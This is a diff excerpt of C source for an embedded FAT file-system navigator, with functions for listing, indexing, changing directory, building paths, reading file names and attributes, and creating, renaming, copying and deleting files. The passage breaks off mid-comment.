+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_last( Bool b_type ) +{ + uint16_t u16_nb; + + // Get number of file or directory + u16_nb = nav_filelist_nb( b_type ); + if( 0 == u16_nb ) + { + fs_g_status = FS_ERR_NO_FIND; + return false; // NO FILE FOUND + } + // Go to the first file or directory + if ( !nav_filelist_first( b_type )) + return false; + // If there are more one file or directory, then go to at the last of list + if( 1 == u16_nb ) + return true; + u16_nb -= 2; + return nav_filelist_set( u16_nb , FS_FIND_NEXT ); +} + + +//********************************************************************** +//************************ Index functions ***************************** + + +//! This function returns a small index on the selected file +//! +//! @return It is a small index structure with information on selected file (disk, partition, dir, file/dir selected) +//! +//! @verbatim +//! This routine is interresting to save a file position in small variable. +//! This pointer allow to reinit a navigator quickly with nav_gotoindex() routine. +//! @endverbatim +//! +Fs_index nav_getindex( void ) +{ + Fs_index index; + + // Fill index structure + index.u8_lun = fs_g_nav.u8_lun; +#if (FS_MULTI_PARTITION == ENABLED) + index.u8_partition = fs_g_nav.u8_partition; +#endif + index.u32_cluster_sel_dir = fs_g_nav.u32_cluster_sel_dir; + index.u16_entry_pos_sel_file = fs_g_nav_fast.u16_entry_pos_sel_file; + return index; +} + + +//! This function selects a file in the navigator via a file index +//! +//! @param index structure with information about file to select (disk, partition, dir, file/dir selected ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine allow to reinit a navigator quickly via a file index (disk, partition, dir, file/dir selected ) +//! To get a file index, you shall used the routine nav_getindex(). +//! @endverbatim +//! +Bool nav_gotoindex( const Fs_index _MEM_TYPE_SLOW_ *index ) +{ + // Select the drive and partition corresponding at file index + if( !nav_drive_set( index->u8_lun )) + return false; +#if (FS_MULTI_PARTITION == ENABLED) + if( !nav_partition_set(index->u8_partition)) + return false; +#endif + if( !nav_partition_mount()) + return false; + + // Select the directory corresponding at file index + fs_g_nav.u32_cluster_sel_dir = index->u32_cluster_sel_dir; + + // Search the file position corresponding at file index + if ( !nav_filelist_reset()) + return false; + while( fs_g_nav_fast.u16_entry_pos_sel_file != index->u16_entry_pos_sel_file ) + { + if( !nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + nav_filelist_reset(); + return false; + } + } + return true; +} + + +//********************************************************************** +//************************ Directory functions ************************* + + +//! This function initializes the file list on the root directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_root( void ) +{ + return nav_partition_mount(); +} + + +//! This function check the current directory +//! +//! @return false the current directory selected is not the root directory +//! @return true the current directory selected is the root directory +//! +Bool nav_dir_is_root( void ) +{ + if (!fat_check_mount_noopen()) + return false; + + return (0 == fs_g_nav.u32_cluster_sel_dir); +} + + +//! This function enters in the selected directory in file list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After this routine the file list changes and contains the files and directories of the new directory. +//! By default no file is selected. +//! @endverbatim +//! +Bool nav_dir_cd( void ) +{ + if ( !fat_check_mount_select_noopen()) + return false; + + // The current selection, is it a directory ? + if ( !fat_entry_is_dir()) + return false; + + // Select the current directory + fs_g_nav.u16_entry_pos_sel_dir = fs_g_nav_fast.u16_entry_pos_sel_file; + fs_g_nav.u32_cluster_sel_dir = fs_g_nav_entry.u32_cluster; + + // Reset file list + if( false == nav_filelist_reset()) + return false; + return true; +} + + +//! This function goes to the parent directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After, the file list changes and contains the files and directories of the new directory. +//! By default, the file selected in file list is the previous (children) directory. +//! @endverbatim +//! +Bool nav_dir_gotoparent( void ) +{ + uint32_t u32_cluster_old_dir; + + if (!fat_check_mount_noopen()) + return false; + + if (0 == fs_g_nav.u32_cluster_sel_dir) + { + fs_g_status = FS_ERR_IS_ROOT; // There aren't parent + return false; + } + + // Select and read information about directory ".." + fs_g_nav_fast.u16_entry_pos_sel_file = 1; + if ( !fat_read_dir()) + return false; + fat_get_entry_info(); + // Save the children directory cluster + u32_cluster_old_dir = fs_g_nav.u32_cluster_sel_dir; + + // Select the parent directory via information present in the current directory ".." + fs_g_nav.u32_cluster_sel_dir = fs_g_nav_entry.u32_cluster; + + // Select the children directory in new directory (=parent directory) + if( false == nav_filelist_reset()) + return false; + if( fs_g_nav.b_mode_nav_single && (FS_DIR != fs_g_nav.b_mode_nav) ) + return true; + + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + if (fs_g_nav_entry.u32_cluster == u32_cluster_old_dir) + return true; // It is the children directory + } + fs_g_status = FS_ERR_FS; + return false; +} + + +//! This function returns the directory name corresponding at the file list +//! +//! @param sz_path string to store the name (ASCII or UNICODE ) +//! @param u8_size_max string size (unit ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_name( FS_STRING sz_path , uint8_t u8_size_max ) +{ + uint8_t u8_i, u8_character; + Bool status = false; + uint16_t save_u16_entry_pos_sel_file; + uint32_t save_u32_cluster_sel_dir; + uint8_t save_u8_attr ; + uint32_t save_u32_cluster ; + uint32_t save_u32_size ; + Bool b_mode_nav_single_save; + Bool b_mode_nav_mode_save; + + if ( !fat_check_mount_noopen()) + return false; + + if (0 != fs_g_nav.u32_cluster_sel_dir) + { + // Save context + save_u16_entry_pos_sel_file= fs_g_nav_fast.u16_entry_pos_sel_file; + save_u32_cluster_sel_dir = fs_g_nav.u32_cluster_sel_dir ; + save_u8_attr = fs_g_nav_entry.u8_attr ; + save_u32_cluster = fs_g_nav_entry.u32_cluster ; + save_u32_size = fs_g_nav_entry.u32_size ; + b_mode_nav_single_save = fs_g_nav.b_mode_nav_single; + b_mode_nav_mode_save = fs_g_nav.b_mode_nav; + fs_g_nav.b_mode_nav_single = true; + fs_g_nav.b_mode_nav = FS_FILE; + // Go to parent directory and select the children directory + if( !nav_dir_gotoparent() ) + { + fs_g_nav.b_mode_nav_single = b_mode_nav_single_save; + fs_g_nav.b_mode_nav = b_mode_nav_mode_save; + return false; + } + fs_g_nav.b_mode_nav_single = b_mode_nav_single_save ; + fs_g_nav.b_mode_nav = b_mode_nav_mode_save; + // Go to directory name position + fs_g_nav_fast.u16_entry_pos_sel_file = fs_g_nav.u16_entry_pos_sel_dir; + status = nav_file_name( sz_path , u8_size_max , FS_NAME_GET , false ); + // Restore previous context + fs_g_nav_fast.u16_entry_pos_sel_file= save_u16_entry_pos_sel_file; + fs_g_nav.u32_cluster_sel_dir = save_u32_cluster_sel_dir ; + fs_g_nav_entry.u8_attr = save_u8_attr ; + fs_g_nav_entry.u32_cluster = save_u32_cluster ; + fs_g_nav_entry.u32_size = save_u32_size ; + } + else + { + // No parent directory, then it is the root directory + if( g_b_string_length ) + { + ((FS_STR_UNICODE)sz_path )[0] = 3; // 3 chars for path "x:" + status = true; + }else + + // Create a device name + for( u8_i = 0 ; u8_i<3 ; u8_i++ ) + { + switch( u8_i ) + { + case 0: + u8_character = nav_drive_getname(); // Letter + break; + case 1: + u8_character = ':'; // ":" + break; + case 2: + default: + u8_character = 0; // end of string + break; + } + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[0] = u8_character; + }else{ + sz_path [0] = u8_character; + } + sz_path += (Is_unicode? 2 : 1 ); + } + status = true; + + } + return status; +} + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function creates a directory in the directory corresponding at file list +//! +//! @param sz_name directory name (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_make( const FS_STRING sz_name ) +{ + if ( !fat_check_mount_noopen()) + return false; + + // Create an entry file + if ( !nav_file_create( sz_name )) + return false; + + // Allocate one cluster for the new directory + MSB0(fs_g_seg.u32_addr)=0xFF; // It is a new cluster list + fs_g_seg.u32_size_or_pos = 1; // Only one sector (= one cluster) + if ( !fat_allocfreespace()) + { + fat_delete_file( false ); + fat_cache_flush(); + return false; + } + + // Save information about the new directory + fs_g_nav_entry.u32_cluster = fs_g_seg.u32_addr; // First cluster of the directory returned by alloc_free_space + fs_g_nav_entry.u32_size = 0; // The directory size is null + fs_g_nav_entry.u8_attr = FS_ATTR_DIRECTORY; // Directory attribut + + // Initialize the values in the new directory + if ( !fat_initialize_dir()) + return false; + + // Write directory information in her entry file + if ( !fat_read_dir()) + return false; + fat_write_entry_file(); + if( !fat_cache_flush()) + return false; + + // Go to position of new directory (it is the last directory) + return nav_filelist_last( FS_DIR ); +} +#endif // FS_LEVEL_FEATURES + + +//! This function returns the full path of the selection +//! +//! @param sz_path string to store the path (ASCII or UNICODE ) +//! @param u8_size_path string size (unit ASCII or UNICODE ) +//! @param b_view_file_select true, to include in path the selected file name +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_getcwd( FS_STRING sz_path , uint8_t u8_size_path , Bool b_view_file_select ) +{ + _MEM_TYPE_SLOW_ Fs_index index; + _MEM_TYPE_SLOW_ uint16_t u16_lgt=0; // Only used if LENGTH string mode enabled + uint8_t u8_save_size_path=0, u8_i; + Bool status = false; // Error by default + + if ( !fat_check_mount_noopen()) + return false; + + index = nav_getindex(); // Save current position + + if( g_b_string_length ) + { + u16_lgt = 1; // 1 for NULL terminate + } + else + { + u8_save_size_path = u8_size_path; + // Set NULL terminator at the end of path + u8_size_path--; + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[u8_size_path] = 0; + }else{ + sz_path [u8_size_path] = 0; + } + } + + // For each directory of path + while( 1 ) + { + if( b_view_file_select ) + { + // Write the selected file or directory in path + b_view_file_select = false; + if( !fat_check_select() ) + continue; // No selected file or directory, then restart loop to go at the first directory of path + } + else + { + // Go to parent directory and selects the children directory + if( !nav_dir_gotoparent() ) + break; + } + + // Read name of selected file or directory + if( !nav_file_name( sz_path , u8_size_path , FS_NAME_GET, false )) + break; + + if( g_b_string_length ) + { + // Update total length + u16_lgt += ((FS_STR_UNICODE)sz_path )[0]; // 0 = -1 to remove NULL terminated and +1 for '\\' + continue; + } + + // Compute the size of name + u8_i = 0; + while( 1 ) + { + if( Is_unicode ) + { + if( 0 == ((FS_STR_UNICODE)sz_path )[u8_i]) + break; + }else{ + if( 0 == sz_path [u8_i]) + break; + } + u8_i++; + } + + // Check the string size + if( (u8_i+1) == u8_size_path ) + { + fs_g_status = FS_ERR_BUFFER_FULL; // The path string is full + break; + } + + // Move the name at the end of path + while( 0 != u8_i ) + { + u8_i--; + u8_size_path--; + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[u8_size_path] = ((FS_STR_UNICODE)sz_path )[u8_i]; + }else{ + sz_path [u8_size_path] = sz_path [u8_i]; + } + } + // Set '\' char before the name + u8_size_path--; + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[u8_size_path] = '\\'; + }else{ + sz_path [u8_size_path] = '\\'; + } + } + + if ( FS_ERR_IS_ROOT == fs_g_status ) + { + if( g_b_string_length ) + { + // Update and write total length + ((FS_STR_UNICODE)sz_path )[0] = u16_lgt +2 ; //+2 for "x:" + status = true; + } + else + { + // End of path then add device name + if( 2 > u8_size_path ) + { + fs_g_status = FS_ERR_BUFFER_FULL; // The path string is full + } + else + { + // Create a device name + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[0] = nav_drive_getname(); // Letter + ((FS_STR_UNICODE)sz_path )[1] = ':'; // ":" + }else{ + sz_path [0] = nav_drive_getname(); // Letter + sz_path [1] = ':'; // ":" + } + + // The path is stored at the end, then move the path at the beginning + u8_i = 2; + while( u8_save_size_path != u8_size_path ) + { + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_path )[u8_i] = ((FS_STR_UNICODE)sz_path )[u8_size_path]; + }else{ + sz_path [u8_i] = sz_path [u8_size_path]; + } + u8_i++; + u8_size_path++; + } + status = true; + } + } + } // else Error system + + nav_gotoindex( &index ); // Restore the position + return status; +} + + +//! This function selects a disk position via a path +//! +//! @param sz_path path string (ASCII or UNICODE ) +//! @param b_match_case false to ignore the case +//! @param b_create true, if path does not exist then create it
+//! false, no create path
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! The syntact "./../../file_name" is supported. +//! With syntact "./dir_parent/directory_name" the file list corresponding at "dir_parent" and "directory_name" is selected. +//! With syntact "./dir_parent/directory_name/" the file list corresponding at "directory_name" and no file is selected. +//! @endverbatim +//! +Bool nav_setcwd( FS_STRING sz_path , Bool b_match_case , Bool b_create ) +{ + _MEM_TYPE_SLOW_ Fs_index index; +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) || \ + (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) + FS_STRING sz_save_path = 0; +#endif + Bool b_create_name = false; + + if ( !fat_check_noopen()) + return false; + + index = nav_getindex(); // Save current position + + // Check syntact "\path..." + if( (( Is_unicode) && (('\\' == ((FS_STR_UNICODE)sz_path )[0]) || ('/' == ((FS_STR_UNICODE)sz_path )[0])) ) + || ((!Is_unicode) && (('\\' == sz_path [0]) || ('/' == sz_path [0])) ) ) + { + // Go to the root of current drive + if( !nav_dir_root()) + goto nav_setcwd_fail; + sz_path += (Is_unicode? 2 : 1 ); + }else + + // Check syntact "x:\path..." + if( (( Is_unicode) && (( ':' == ((FS_STR_UNICODE)sz_path )[1] ) && (('\\' == ((FS_STR_UNICODE)sz_path )[2] ) || ('/' == ((FS_STR_UNICODE)sz_path )[2]))) ) + || ((!Is_unicode) && (( ':' == sz_path [1] ) && (('\\' == sz_path [2] ) || ('/' == sz_path [2]))) ) ) + { + // Go to the drive + if( Is_unicode ) + { + if( !nav_drive_set( toupper(((FS_STR_UNICODE)sz_path )[0])-'A' ) ) + goto nav_setcwd_fail; + }else{ + if( !nav_drive_set( toupper(sz_path [0])-'A' ) ) + goto nav_setcwd_fail; + } + if( !nav_partition_mount()) + goto nav_setcwd_fail; + sz_path += 3*(Is_unicode? 2 : 1 ); + }else + + // Check syntact ".\path..." + if( (( Is_unicode) && (( '.' == ((FS_STR_UNICODE)sz_path )[0] ) && (('\\' == ((FS_STR_UNICODE)sz_path )[1] ) || ('/' == ((FS_STR_UNICODE)sz_path )[1] ))) ) + || ((!Is_unicode) && (( '.' == sz_path [0] ) && (('\\' == sz_path [1] ) || ('/' == sz_path [1] ))) ) ) + { + // Search in current directory + sz_path += 2*(Is_unicode? 2 : 1 ); + }else + + { + // Check syntact "..\..\path..." + if( Is_unicode ) + { + while(( '.' == ((FS_STR_UNICODE)sz_path )[0] ) + && ( '.' == ((FS_STR_UNICODE)sz_path )[1] ) + && (('\\' == ((FS_STR_UNICODE)sz_path )[2]) || ('/' == ((FS_STR_UNICODE)sz_path )[2]) || (0 == ((FS_STR_UNICODE)sz_path )[2])) ) + { + // Go to parent directory + if( !nav_dir_gotoparent() ) + goto nav_setcwd_fail; + sz_path += (2*2); // jump ".." + if( 0 != ((FS_STR_UNICODE)sz_path )[0]) + sz_path += (2*1); // jump "/" + } + }else{ + while(( '.' == sz_path [0] ) + && ( '.' == sz_path [1] ) + && (('\\' == sz_path [2]) || ('/' == sz_path [2]) || (0 == sz_path [2])) ) + { + // Go to parent directory + if( !nav_dir_gotoparent() ) + goto nav_setcwd_fail; + sz_path += 2; // jump ".." + if( 0 != sz_path [0]) + sz_path +=1; // jump "/" + } + } + } + + // Reset list to start the search at the beginning + if( !nav_filelist_reset()) + goto nav_setcwd_fail; + + while( 1 ) + { + if( (( Is_unicode) && ( 0 == ((FS_STR_UNICODE)sz_path )[0] ) ) + || ((!Is_unicode) && ( 0 == sz_path [0] ) ) ) + { + return true; // path (without file) is found or create + } + if( !nav_filelist_findname( sz_path , b_match_case )) + { + // The file or directory is not found + if( !b_create ) + goto nav_setcwd_fail; // don't creat the directory then exit + // Set flag to create the directory + b_create_name = true; +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) || \ + (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) + sz_save_path = sz_path; +#endif + } + + while( 1 ) + { + sz_path += (Is_unicode? 2 : 1 ); + if( (( Is_unicode) && ( 0 == ((FS_STR_UNICODE)sz_path )[0] ) ) + || ((!Is_unicode) && ( 0 == sz_path [0] ) ) ) + { + // Is it the last name of path and it is a file + if( b_create_name ) + { +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + // The file must be created + if( !nav_file_create( sz_save_path ) ) + goto nav_setcwd_fail; +#else + goto nav_setcwd_fail; +#endif + } + break; // The file include in path is found or created, then end of set_cwd + } + + if( (( Is_unicode) && (('\\' == ((FS_STR_UNICODE)sz_path )[0] ) || ('/' == ((FS_STR_UNICODE)sz_path )[0] )) ) + || ((!Is_unicode) && (('\\' == sz_path [0] ) || ('/' == sz_path [0] )) ) ) + { + // Is it a folder name + if( b_create_name ) + { +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) + // The folder doesn't exist and it must be created + if( !nav_dir_make( sz_save_path )) + goto nav_setcwd_fail; +#else + goto nav_setcwd_fail; +#endif + } + if( !fat_entry_is_dir() ) + goto nav_setcwd_fail; + // jump '\' + sz_path += (Is_unicode? 2 : 1 ); + if( !nav_dir_cd()) + goto nav_setcwd_fail; + break; + } + } + + } + +nav_setcwd_fail: + nav_gotoindex( &index ); // Restore the position + return false; +} + + + + +//********************************************************************** +//*********************** File control functions *********************** + + +//! This function returns the name of selected file +//! +//! @param sz_name string to store the name file (ASCII or UNICODE )
+//! @param u8_size_max string size (unit ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_getname( FS_STRING sz_name, uint8_t u8_size_max ) +{ + return nav_file_name( sz_name, u8_size_max, FS_NAME_GET, false ); +} + + +//! This function returns the name of selected file or checks the string with the name of selected file +//! +//! @param b_mode action mode:
+//! FS_NAME_GET to get the name of selected file
+//! FS_NAME_CHECK to check the name of selected file
+//! @param sz_name if FS_NAME_GET then string to store the file name (ASCII or UNICODE )
+//! if FS_NAME_CHECK then string to match with file name (ASCII or UNICODE), +//! it must be terminated by NULL or '*' value
+//! @param b_match_case false, ignore the case (only used in "FS_NAME_CHECK" action) +//! +//! @param u8_size_max string size (unit ASCII or UNICODE ), only used in "FS_NAME_GET" action +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_name( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ) +{ + _MEM_TYPE_SLOW_ uint16_t u16_lgt; // Only used if LENGTH string mode enabled + uint16_t u16_ptr_save_entry; + Bool b_readshortname = false; + + if ( !fat_check_mount_select()) + return false; + + // Check if the string size is not 0 + if( (FS_NAME_GET == b_mode) + && (0 == u8_size_max) ) + { + return true; + } + + // Save the current entry position + u16_ptr_save_entry = fs_g_nav_fast.u16_entry_pos_sel_file; + // if it is the beginning of the directory + if ( 0 == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + b_readshortname = true; // It isn't possibled to have a long name + } + else + { + fs_g_nav_fast.u16_entry_pos_sel_file--; // Initialize entry position to search the first long name entry + } + + // Loop in directory entry + u16_lgt = 0; + while( 1 ) + { + if ( !fat_read_dir()) + break; // error + + if ( b_readshortname ) + { + // No long name present then read short name + return fat_entry_shortname( sz_name , u8_size_max , b_mode ); + } + + // Check or read the part of long file name in this entry + if ( fat_entry_longname( sz_name , u8_size_max , b_mode , b_match_case )) + { + if( g_b_string_length ) + { + ((FS_STR_UNICODE)sz_name )[0] += u16_lgt; + } + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; + return true; + } + + if ( FS_NO_LAST_LFN_ENTRY != fs_g_status ) + { + // Go to the main entry file (=short name entry) + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; + + if ( FS_ERR_ENTRY_BAD == fs_g_status ) + { + // It isn't a long name entry then there aren't long file name + b_readshortname = true; // It is mandatory to use the short name + continue; // restart the loop + } + // here, it is a error system or the string don't match with the file name + break; + } + if( g_b_string_length ) + { + u16_lgt += FS_SIZE_LFN_ENTRY; + } + else + { + // Increment the string to store the next part of file name + sz_name += FS_SIZE_LFN_ENTRY * (Is_unicode? 2 : 1 ); + u8_size_max -= FS_SIZE_LFN_ENTRY; + } + fs_g_nav_fast.u16_entry_pos_sel_file--; // Go to the next part of long file name + + } // end of loop while(1) + return false; +} + + +//! This function returns the size of selected file (unit byte) +//! +//! @return Size of selected file (unit byte) +//! +uint32_t nav_file_lgt( void ) +{ + return fs_g_nav_entry.u32_size; +} + + +//! This function returns the size of selected file (unit sector) +//! +//! @return Size of selected file (unit 512B) +//! +uint16_t nav_file_lgtsector( void ) +{ + return (fs_g_nav_entry.u32_size >> FS_512B_SHIFT_BIT); +} + + +//! This function checks the write protection of disk and the attribut "read only" of selected file +//! +//! @return false, it is possible to modify the selected file +//! @return true, in other case +//! +Bool nav_file_isreadonly( void ) +{ + if( !fat_check_mount_select() ) + return true; // No file selected + if( mem_wr_protect( fs_g_nav.u8_lun ) ) + return true; // Disk protected + return (0!=(FS_ATTR_READ_ONLY & fs_g_nav_entry.u8_attr)); // Check attribut "read only" +} + + +//! This function returns the type of selected file +//! +//! @return true, it is a directory +//! @return false, in other case +//! +Bool nav_file_isdir( void ) +{ + return fat_entry_is_dir(); +} + + +//! This function checks the extension of selected file +//! +//! @param sz_filterext extension filter (ASCII format, e.g.: "txt" or "txt,d*,wk" ) +//! +//! @return true, the file extension match with extension filter +//! @return false, in other case +//! +Bool nav_file_checkext( const FS_STRING sz_filterext ) +{ + if ( fat_check_mount_select() ) + { + // Read selected entry (=short name entry) in directory + if ( fat_read_dir()) + { + // Check the extension with filter + if ( fat_entry_checkext( (FS_STRING) sz_filterext ) ) + return true; + } + } + return false; +} + + +//! This function returns the date of selected file +//! +//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access
+//! FS_DATE_CREATION, to get the date of file creation +//! @param sz_date ASCCI string (>17B) to store the information about date
+//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_dateget( FS_STRING sz_date , Bool type_date ) +{ + if ( !fat_check_mount_select()) + return false; + + // Read selected entry in directory + if ( !fat_read_dir()) + return false; + fat_get_date( sz_date , type_date ); + return true; +} + + +//! This function returns the attribut of selected file +//! +//! @return attribut of selected file, see masks "FS_ATTR_" in fs_com.h file. +//! +uint8_t nav_file_attributget( void ) +{ + return fs_g_nav_entry.u8_attr; +} + + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function changes the date of selected file +//! +//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access
+//! FS_DATE_CREATION, to get the date of file creation +//! @param sz_date ASCCI string contains the date to write
+//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_dateset( const FS_STRING sz_date , Bool type_date ) +{ + if ( !fat_check_mount_select()) + return false; + + // Read selected entry in directory + if ( !fat_read_dir()) + return false; + fat_set_date( sz_date , type_date ); + return fat_cache_flush(); // To write all data and check write access before exit function +} +#endif // FS_LEVEL_FEATURES + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function changes the attribut of selected file +//! +//! @param u8_attribut value to write on selected file, see masks "FS_ATTR_" in fs_com.h file. +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_attributset( uint8_t u8_attribut ) +{ + if ( !fat_check_mount_select()) + return false; + + // Read selected entry in directory + if ( !fat_read_dir()) + return false; + + // Write the new attribut + fs_g_nav_entry.u8_attr &= (~(FS_ATTR_READ_ONLY|FS_ATTR_HIDDEN|FS_ATTR_SYSTEM|FS_ATTR_ARCHIVE)); + fs_g_nav_entry.u8_attr |= u8_attribut & (FS_ATTR_READ_ONLY|FS_ATTR_HIDDEN|FS_ATTR_SYSTEM|FS_ATTR_ARCHIVE); + fat_write_entry_file(); + return fat_cache_flush(); // To write all data and check write access before exit function +} +#endif // FS_LEVEL_FEATURES + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function deletes the selected file or directory +//! +//! @param b_only_empty true, delete the directory only if empty
+//! false, delete directories and files include in selected directory
+//! If the selection is not a directory then this param is ignored. +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_del( Bool b_only_empty ) +{ + uint8_t u8_folder_level = 0xFF; + + if ( !fat_check_mount_select_noopen()) + return false; + + if( 0xFF == u8_folder_level ) // to remove a eventually compile warning + goto nav_file_del_test_dir_or_file; + + // loop to scan and delete ALL folders and ALL files + while(1) + { + while(1) + { + if( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + // Directory no empty + if( b_only_empty ) + { + fs_g_status = FS_ERR_DIR_NOT_EMPTY; // Erase only the empty directory + return false; + } + break; // Exit loop to delete files or directories present + } + // HERE, directory empty + + // Go to parent directory and this one select the children directory + if( !nav_dir_gotoparent() ) + return false; + + // Delete children directory name and her cluster list + if ( !fat_delete_file( true )) + return false; + + if( 0 == u8_folder_level ) + { + // All directory tree is deleted + return true; //********* END OF DEL TREE ************** + } + u8_folder_level--; + + } // end of second while (1) + +nav_file_del_test_dir_or_file: + if( nav_file_isdir()) + { + // here, a directory is found and is selected + if( !nav_dir_cd()) + return false; + u8_folder_level++; + } + else + { + // here, a file is found and is selected + if( !fat_check_nav_access_file( true ) ) + return false; + // delete file entry name and cluster list + if ( !fat_delete_file( true )) + return false; + if( 0xFF == u8_folder_level ) + break; // only one file to delete + } // if dir OR file + } // end of first while(1) + + // Reset selection + nav_filelist_reset(); + return fat_cache_flush(); // To write all data and check write access before exit function +} +#endif // FS_LEVEL_FEATURES + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function renames the selected directory or file +//! +//! @param sz_name new name (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_rename( const FS_STRING sz_name ) +{ + uint16_t u16_save_entry_pos; + Bool b_save_entry_type; + uint8_t u8_attr; + uint32_t u32_cluster; + uint32_t u32_size; + + if ( !fat_check_mount_select_noopen()) + return false; + + if( !fat_check_nav_access_file( true ) ) + return false; + + // Note: in case of error, create the new name before delete the current name + + // Save information about current name poisition + u16_save_entry_pos = fs_g_nav_fast.u16_entry_pos_sel_file; + b_save_entry_type = fs_g_nav.b_mode_nav; + // Save information about file + u8_attr = fs_g_nav_entry.u8_attr; + u32_cluster = fs_g_nav_entry.u32_cluster; + u32_size = fs_g_nav_entry.u32_size; + + // Create a name + if ( !nav_file_create( sz_name )) + return false; // error + // Restore information about file or directory on the new name entry + if ( !fat_read_dir()) + return false; + fs_g_nav_entry.u8_attr = u8_attr; + fs_g_nav_entry.u32_cluster = u32_cluster; + fs_g_nav_entry.u32_size = u32_size; + fat_write_entry_file(); + + // Delete old entry name + fs_g_nav_fast.u16_entry_pos_sel_file = u16_save_entry_pos; // go to old entry name + if ( !fat_delete_file(false) ) + return false; + if ( !fat_cache_flush() ) + return false; + + // Go to at the position of the new name entry (it is the last file or directory ) + return nav_filelist_last( b_save_entry_type ); +} +#endif // FS_LEVEL_FEATURES + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + +//! This function creates a file with NULL size and NULL attribut +//! +//! @param sz_name file name to create (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If you ues this routine to create a file, then you must called file_open() to open this new file +//! @endverbatim +//! +Bool nav_file_create( const FS_STRING sz_name ) +{ + // Check if the name already exists + if (!nav_filelist_reset()) + return false; + if (nav_filelist_findname(sz_name , false)) + { + fs_g_status = FS_ERR_FILE_EXIST; + return false; // File exist -> it is not possible to create this name + } + // FYC: here, the selection is at the end of the list + // Create name entrys + if ( !fat_create_entry_file_name( sz_name )) + return false; // error + // By default the information about the new file is NULL + fs_g_nav_entry.u32_cluster = 0; // No first cluster + fs_g_nav_entry.u32_size = 0; // The size is null + fs_g_nav_entry.u8_attr = 0; // Attribut is a file + + // It is the last FILE of the list + fs_g_nav.u16_pos_sel_file++; + fs_g_nav.b_mode_nav = FS_FILE; + return fat_cache_flush(); +} + + +//! This function updates the COPY navigator with the selected file +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If you use the COPY navigator after this routine then the copy information is lost (see FS_NAV_ID_COPYFILE in conf_explorer.h). +//! @endverbatim +//! +Bool nav_file_copy( void ) +{ + if( nav_file_isdir() ) + { + fs_g_status = FS_ERR_COPY_DIR; // Impossible to copy a directory + return false; + } + // In "copy file" navigator select the file + nav_copy( FS_NAV_ID_COPYFILE ); + return true; +} + + +//! This function pastes the selected file in COPY navigator in the file list of the current navigator +//! +//! @param sz_name file name of the new file (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After this routine, you shall called nav_file_paste_state() to run 